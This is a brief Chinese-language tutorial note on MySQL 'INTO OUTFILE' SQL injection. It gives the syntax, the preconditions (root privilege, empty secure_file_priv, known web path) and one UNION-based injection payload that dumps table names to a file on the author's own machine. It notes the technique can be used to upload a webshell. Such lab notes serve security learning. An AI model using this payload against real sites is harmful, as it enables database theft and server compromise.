WEB安全--SQL注入--INTO OUTFILE

一、INTO OUTFILE 函数语法：

SELECT column1, column2,
INTO OUTFILE 'file_path'
FROM your_table
WHERE your_conditions;

使用此方式在SQL注入的过程中可以：

1、上传shell得到数据库的后端的操作权限

2、爆出数据库的信息

二、使用该函数的条件：

1、mysql操作者需要root权限
2、mysql的my.ini文件中的secure_file_priv参数值需要为空（默认为NULL，注意NULL不是空）
3、需要知道网站的物理路径

三、参考例子：

?id=-1')) union select 1,2,'group_concat(table_name)' 
into outfile 'D:/桌面desktop/abcd.txt' 
from information_schema.tables 
where table_schema='security'--+

这里是通过into outfile函数将表名导出到我的桌面，毕竟是模拟，所以服务器就是我的电脑所以也就相当于网站的物理路径了